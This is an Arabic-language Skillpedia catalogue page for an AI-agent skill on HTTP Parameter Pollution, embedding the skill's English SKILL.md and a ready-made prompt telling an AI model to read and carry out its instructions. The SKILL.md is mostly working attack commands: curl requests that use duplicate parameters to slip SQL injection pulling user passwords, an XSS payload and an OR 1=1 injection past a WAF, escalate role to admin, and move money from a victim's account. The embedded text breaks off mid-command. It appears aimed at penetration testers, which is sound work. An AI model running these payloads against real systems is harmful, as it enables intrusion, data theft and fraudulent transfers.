Skillpedia
الأمان6.5k · #14065

hpp

ما الذي تفعله

تشرح هذه المهارة كيف يمكن لمعاملات الطلب المكررة أن تُقرأ بشكل مختلف بين جدار الحماية والخادم والتطبيق. وهي موجهة لمختبري الأمان الذين يفحصون هل تمرر هذه الفروق الهجمات أو تتجاوز فحوص الصلاحيات.

متى تستخدمها

  • ✓عندما قد يقرأ جدار الحماية والتطبيق المعاملات المكررة في الرابط أو النموذج بطرق مختلفة.
  • ✓عندما يعتمد فحص تسجيل الدخول أو الصلاحية على معامل قد يتكرر.
  • ✓عندما تريد اختبار هل يمكن تجاوز فلتر أمني بقيم مكررة.

رابط المهارة

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md

انسخه والصقه في الذكاء الاصطناعي الذي تستخدمه (Claude أو ChatGPT أو Cursor) واطلب منه اتباع التعليمات.

طريقة الاستخدام

أسهل طريقة: انسخ الرسالة والصقها في الذكاء الاصطناعي الذي تستخدمه. سيقرأ المهارة وينفّذ تعليماتها.

رسالة جاهزة للصق

استخدم هذه المهارة لمساعدتي: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md اقرأ ملف SKILL.md في هذا الرابط ونفّذ تعليماته لمهمتي.
تريد أن يجد الذكاء الاصطناعي مهارات مثل هذه بنفسه؟ثبّت خادم Skillpedia MCP المجاني: سطر واحد، ويبحث في 15,000+ مهارة قبل كل مهمة.ثبّته في دقيقة واحدة →

مثال على ما تطلبه من الذكاء الاصطناعي

“هل يمكنك التحقق مما إذا كان إرسال معامل id مكرر في تطبيقي يغيّر الحساب الذي يتم الوصول إليه؟”

5 مهارات جديدة كل أسبوع. قراءة في دقيقة واحدة.

كيف تعمل

يرسل الوكيل معاملات مكررة ويقارن القيم التي تستخدمها كل طبقة، باحثاً عن الفجوات بين ما يفحصه الفلتر وما يتصرف به التطبيق.

المحتوى التقني (ملف SKILL.md الأصلي)

النص الأصلي من المؤلف، مباشرة من GitHub.

HTTP Parameter Pollution (HPP)

Two layers (proxy/WAF, framework, app code) parse the same duplicate parameter differently. The WAF inspects one value, the app reads another — payload slips through. Or the framework picks one value for the auth check and a different one for the action — ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical.

1. Parser precedence table

When ?id=1&id=2 (or duplicated body params) is received:

Stack request.GET['id'] / equivalent getParameterValues / list view
PHP ($_GET) last wins (2) $_GET['id[]'] only; otherwise the dup is dropped
ASP.NET (Request.QueryString["id"]) comma-concatenated ("1,2") GetValues returns both
ASP Classic comma-concatenated —
Java Servlet (getParameter) first (1) getParameterValues returns both
Java Spring @RequestParam String first List<String> binds both
Node.js qs (Express default) array (["1","2"]) n/a
Node.js querystring (legacy) array n/a
Python Flask request.args.get first getlist returns both
Python Django request.GET['id'] last getlist returns both
Python urllib.parse.parse_qs list (["1","2"]) —
Ruby on Rails last params[:id] is the last; arrays via id[]=
Go net/http r.URL.Query().Get first ["id"] returns all
Perl CGI param("id") first in scalar, list in list context —
nginx $arg_id first —
Apache mod_rewrite %{QUERY_STRING} raw — passes both —
AWS API Gateway → Lambda proxy last in queryStringParameters, all in multiValueQueryStringParameters —
Cloudflare WAF inspects all values for rule match (generally) —
AWS WAF inspects each occurrence —
ModSecurity (CRS) inspects each — but anomaly score per rule —

The exploitable pattern: WAF/proxy reads value A, app reads value B.

2. Detection

# Baseline
curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n'

# Duplicate param — same key
curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n'
cat resp.dup | head -c 300

# Bracket form (PHP arrays)
curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n'

# Whitespace / separator variants
curl -s "http://<TARGET>/api?id=1;id=2"           # semicolon separator (PHP/Java differ)
curl -s "http://<TARGET>/api?id=1&id =2"          # space-before-=
curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api"  # body dup

Reflection check — does the response echo 1, 2, 1,2, or ["1","2"]? That literally fingerprints the stack.

for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do
  echo "== $pair =="
  curl -s "http://<TARGET>/echo?$pair"
  echo
done

3. WAF bypass via duplicate parameters

The WAF inspects one occurrence; the app concatenates / picks the other.

# ASP.NET: WAF sees "1" on first occurrence, app gets "1,UNION SELECT ..." after concat
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=1" \
  --data-urlencode "q=UNION SELECT user,password FROM users--"

# PHP last-wins: WAF blocks the obvious payload only if it inspects every value
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=harmless" \
  --data-urlencode "q=<svg/onload=alert(1)>"

# Java first-wins, WAF inspects only the LAST occurrence (some appliances do)
curl -G "http://<TARGET>/cmd" \
  --data-urlencode "host=' OR 1=1--" \
  --data-urlencode "host=8.8.8.8"

Mixed source confusion — GET vs POST:

# Some frameworks merge GET+POST into one params dict; precedence differs from WAF inspection
curl -X POST "http://<TARGET>/api?role=user" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'role=admin'

4. Server-side HPP — auth / ACL bypass

The auth layer evaluates one value; the controller acts on another.

# Pattern: filter reads first, action reads last
curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100"
# Filter: account==mine → permits. Controller: last wins → operates on victim.

# Role check vs role assignment
curl -X POST "http://<TARGET>/users/create" \
  -d 'role=user&username=x&role=admin'

# Tenant scoping
curl "http://<TARGET>/api/orders?tenant_
الأسئلة الشائعة

ما أطر الويب التي تقارنها؟

تتضمن جدولاً لكيفية اختيار PHP وASP.NET وJava وNode.js وPython وRuby قيمة من المعاملات المكررة.

هل هي خطيرة بمفردها عادة؟

تقول المهارة إنها عادة منخفضة أو متوسطة بمفردها، وتزداد خطورتها عند ربطها بهجمات أخرى.

هل تنطبق على الروابط فقط؟

لا، تغطي أيضاً المعاملات المكررة في جسم النماذج.

التفاصيل

الوصف الأصلي من المؤلف

HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.

repo: BitterSecurity/Decepticon

الشعبية

نجوم GitHub
6.5k
الترتيب
#14065
الترخيص
Apache-2.0
آخر تحديث
1‏/11‏/2026

هل هذه المهارة مفيدة؟

0

سجّل الدخول للتصويت.

التعليقات

  • …

المزيد من المهارات من هذا المستودع

مهارات مشابهة